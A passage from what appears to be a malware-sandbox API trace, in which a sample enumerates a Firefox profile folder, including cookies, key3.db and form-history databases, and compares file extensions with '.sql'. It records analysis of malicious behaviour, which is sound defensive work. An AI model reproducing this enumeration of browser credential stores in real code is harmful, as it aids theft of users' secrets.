(lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\bookmarkbackups") returned 95 [0055.106] lstrcmpW (lpString1=".default\\bookmarkbackups", lpString2=".sql") returned -1 [0055.106] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.106] lstrcmpW (lpString1="cert8.db", lpString2=".") returned 1 [0055.106] lstrcmpW (lpString1="cert8.db", lpString2="..") returned 1 [0055.106] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="cert8.db" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db" [0055.106] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cert8.db") returned 88 [0055.107] lstrcmpW (lpString1=".db", lpString2=".sql") returned -1 [0055.107] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.107] lstrcmpW (lpString1="compatibility.ini", lpString2=".") returned 1 [0055.107] lstrcmpW (lpString1="compatibility.ini", lpString2="..") returned 1 [0055.107] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="compatibility.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini" [0055.107] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\compatibility.ini") returned 97 [0055.107] lstrcmpW (lpString1=".ini", lpString2=".sql") returned -1 [0055.107] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.107] lstrcmpW (lpString1="containers.json", lpString2=".") returned 1 [0055.107] lstrcmpW (lpString1="containers.json", lpString2="..") returned 1 [0055.107] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="containers.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json" [0055.107] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\containers.json") returned 95 [0055.107] lstrcmpW (lpString1=".json", lpString2=".sql") returned -1 [0055.107] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.107] lstrcmpW (lpString1="content-prefs.sqlite", lpString2=".") returned 1 [0055.107] lstrcmpW (lpString1="content-prefs.sqlite", lpString2="..") returned 1 [0055.107] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="content-prefs.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite" [0055.107] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\content-prefs.sqlite") returned 100 [0055.107] lstrcmpW (lpString1=".sqlite", lpString2=".sql") returned 1 [0055.107] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.107] lstrcmpW (lpString1="cookies.sqlite", lpString2=".") returned 1 [0055.107] lstrcmpW (lpString1="cookies.sqlite", lpString2="..") returned 1 [0055.107] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="cookies.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite" [0055.107] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\cookies.sqlite") returned 94 [0055.107] lstrcmpW (lpString1=".sqlite", lpString2=".sql") returned 1 [0055.107] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.107] lstrcmpW (lpString1="crashes", lpString2=".") returned 1 [0055.107] lstrcmpW (lpString1="crashes", lpString2="..") returned 1 [0055.107] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="crashes" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes" [0055.107] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\crashes") returned 87 [0055.107] lstrcmpW (lpString1=".default\\crashes", lpString2=".sql") returned -1 [0055.107] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.107] lstrcmpW (lpString1="datareporting", lpString2=".") returned 1 [0055.107] lstrcmpW (lpString1="datareporting", lpString2="..") returned 1 [0055.107] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="datareporting" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting" [0055.107] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\datareporting") returned 93 [0055.107] lstrcmpW (lpString1=".default\\datareporting", lpString2=".sql") returned -1 [0055.107] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.107] lstrcmpW (lpString1="extensions.ini", lpString2=".") returned 1 [0055.107] lstrcmpW (lpString1="extensions.ini", lpString2="..") returned 1 [0055.107] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="extensions.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini" [0055.107] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.ini") returned 94 [0055.107] lstrcmpW (lpString1=".ini", lpString2=".sql") returned -1 [0055.107] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.107] lstrcmpW (lpString1="extensions.json", lpString2=".") returned 1 [0055.107] lstrcmpW (lpString1="extensions.json", lpString2="..") returned 1 [0055.107] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="extensions.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json" [0055.107] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\extensions.json") returned 95 [0055.107] lstrcmpW (lpString1=".json", lpString2=".sql") returned -1 [0055.107] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.107] lstrcmpW (lpString1="formhistory.sqlite", lpString2=".") returned 1 [0055.107] lstrcmpW (lpString1="formhistory.sqlite", lpString2="..") returned 1 [0055.107] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="formhistory.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite" [0055.107] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\formhistory.sqlite") returned 98 [0055.107] lstrcmpW (lpString1=".sqlite", lpString2=".sql") returned 1 [0055.107] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.107] lstrcmpW (lpString1="gmp", lpString2=".") returned 1 [0055.107] lstrcmpW (lpString1="gmp", lpString2="..") returned 1 [0055.108] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="gmp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp" [0055.108] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp") returned 83 [0055.108] lstrcmpW (lpString1=".default\\gmp", lpString2=".sql") returned -1 [0055.108] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.108] lstrcmpW (lpString1="gmp-gmpopenh264", lpString2=".") returned 1 [0055.108] lstrcmpW (lpString1="gmp-gmpopenh264", lpString2="..") returned 1 [0055.108] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="gmp-gmpopenh264" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264" [0055.108] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-gmpopenh264") returned 95 [0055.108] lstrcmpW (lpString1=".default\\gmp-gmpopenh264", lpString2=".sql") returned -1 [0055.108] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.108] lstrcmpW (lpString1="gmp-widevinecdm", lpString2=".") returned 1 [0055.108] lstrcmpW (lpString1="gmp-widevinecdm", lpString2="..") returned 1 [0055.108] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="gmp-widevinecdm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm" [0055.108] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\gmp-widevinecdm") returned 95 [0055.108] lstrcmpW (lpString1=".default\\gmp-widevinecdm", lpString2=".sql") returned -1 [0055.108] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.108] lstrcmpW (lpString1="key3.db", lpString2=".") returned 1 [0055.108] lstrcmpW (lpString1="key3.db", lpString2="..") returned 1 [0055.108] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="key3.db" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db" [0055.108] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\key3.db") returned 87 [0055.108] lstrcmpW (lpString1=".db", lpString2=".sql") returned -1 [0055.108] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.108] lstrcmpW (lpString1="kinto.sqlite", lpString2=".") returned 1 [0055.108] lstrcmpW (lpString1="kinto.sqlite", lpString2="..") returned 1 [0055.108] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="kinto.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite" [0055.108] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\kinto.sqlite") returned 92 [0055.108] lstrcmpW (lpString1=".sqlite", lpString2=".sql") returned 1 [0055.108] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.108] lstrcmpW (lpString1="mimeTypes.rdf", lpString2=".") returned 1 [0055.108] lstrcmpW (lpString1="mimeTypes.rdf", lpString2="..") returned 1 [0055.108] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="mimeTypes.rdf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\mimeTypes.rdf") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\mimeTypes.rdf" [0055.108] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\mimeTypes.rdf") returned 93 [0055.108] lstrcmpW (lpString1=".rdf", lpString2=".sql") returned -1 [0055.108] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.108] lstrcmpW (lpString1="minidumps", lpString2=".") returned 1 [0055.108] lstrcmpW (lpString1="minidumps", lpString2="..") returned 1 [0055.108] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="minidumps" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps" [0055.108] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\minidumps") returned 89 [0055.108] lstrcmpW (lpString1=".default\\minidumps", lpString2=".sql") returned -1 [0055.108] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.108] lstrcmpW (lpString1="parent.lock", lpString2=".") returned 1 [0055.108] lstrcmpW (lpString1="parent.lock", lpString2="..") returned 1 [0055.108] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="parent.lock" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\parent.lock") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\parent.lock" [0055.108] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\parent.lock") returned 91 [0055.108] lstrcmpW (lpString1=".lock", lpString2=".sql") returned -1 [0055.108] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.108] lstrcmpW (lpString1="permissions.sqlite", lpString2=".") returned 1 [0055.108] lstrcmpW (lpString1="permissions.sqlite", lpString2="..") returned 1 [0055.108] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="permissions.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite" [0055.108] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\permissions.sqlite") returned 98 [0055.108] lstrcmpW (lpString1=".sqlite", lpString2=".sql") returned 1 [0055.108] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.108] lstrcmpW (lpString1="places.sqlite", lpString2=".") returned 1 [0055.108] lstrcmpW (lpString1="places.sqlite", lpString2="..") returned 1 [0055.108] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="places.sqlite" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite" [0055.108] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite") returned 93 [0055.109] lstrcmpW (lpString1=".sqlite", lpString2=".sql") returned 1 [0055.109] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.109] lstrcmpW (lpString1="pluginreg.dat", lpString2=".") returned 1 [0055.109] lstrcmpW (lpString1="pluginreg.dat", lpString2="..") returned 1 [0055.109] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="pluginreg.dat" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat" [0055.109] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat") returned 93 [0055.109] lstrcmpW (lpString1=".dat", lpString2=".sql") returned -1 [0055.109] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.109] lstrcmpW (lpString1="prefs.js", lpString2=".") returned 1 [0055.109] lstrcmpW (lpString1="prefs.js", lpString2="..") returned 1 [0055.109] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="prefs.js" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js" [0055.109] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js") returned 88 [0055.109] lstrcmpW (lpString1=".js", lpString2=".sql") returned -1 [0055.109] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.109] lstrcmpW (lpString1="revocations.txt", lpString2=".") returned 1 [0055.109] lstrcmpW (lpString1="revocations.txt", lpString2="..") returned 1 [0055.109] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="revocations.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt" [0055.109] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\revocations.txt") returned 95 [0055.109] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0055.109] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.109] lstrcmpW (lpString1="saved-telemetry-pings", lpString2=".") returned 1 [0055.109] lstrcmpW (lpString1="saved-telemetry-pings", lpString2="..") returned 1 [0055.109] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="saved-telemetry-pings" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings" [0055.109] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\saved-telemetry-pings") returned 101 [0055.109] lstrcmpW (lpString1=".default\\saved-telemetry-pings", lpString2=".sql") returned -1 [0055.109] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.109] lstrcmpW (lpString1="search.json.mozlz4", lpString2=".") returned 1 [0055.109] lstrcmpW (lpString1="search.json.mozlz4", lpString2="..") returned 1 [0055.109] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="search.json.mozlz4" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\search.json.mozlz4") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\search.json.mozlz4" [0055.109] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\search.json.mozlz4") returned 98 [0055.109] lstrcmpW (lpString1=".mozlz4", lpString2=".sql") returned -1 [0055.109] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.110] lstrcmpW (lpString1="secmod.db", lpString2=".") returned 1 [0055.110] lstrcmpW (lpString1="secmod.db", lpString2="..") returned 1 [0055.110] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="secmod.db" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db" [0055.110] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\secmod.db") returned 89 [0055.110] lstrcmpW (lpString1=".db", lpString2=".sql") returned -1 [0055.110] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.110] lstrcmpW (lpString1="SecurityPreloadState.txt", lpString2=".") returned 1 [0055.110] lstrcmpW (lpString1="SecurityPreloadState.txt", lpString2="..") returned 1 [0055.110] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="SecurityPreloadState.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SecurityPreloadState.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SecurityPreloadState.txt" [0055.110] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\SecurityPreloadState.txt") returned 104 [0055.110] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0055.110] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.110] lstrcmpW (lpString1="sessionCheckpoints.json", lpString2=".") returned 1 [0055.110] lstrcmpW (lpString1="sessionCheckpoints.json", lpString2="..") returned 1 [0055.110] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="sessionCheckpoints.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json" [0055.110] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\sessionCheckpoints.json") returned 103 [0055.110] lstrcmpW (lpString1=".json", lpString2=".sql") returned -1 [0055.110] FindNextFileW (in: hFindFile=0x5b81f0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.110] lstrcmpW (lpString1="sessionstore-backups", lpString2=".") returned 1 [0055.110] lstrcmpW (lpString1="sessionstore-backups", 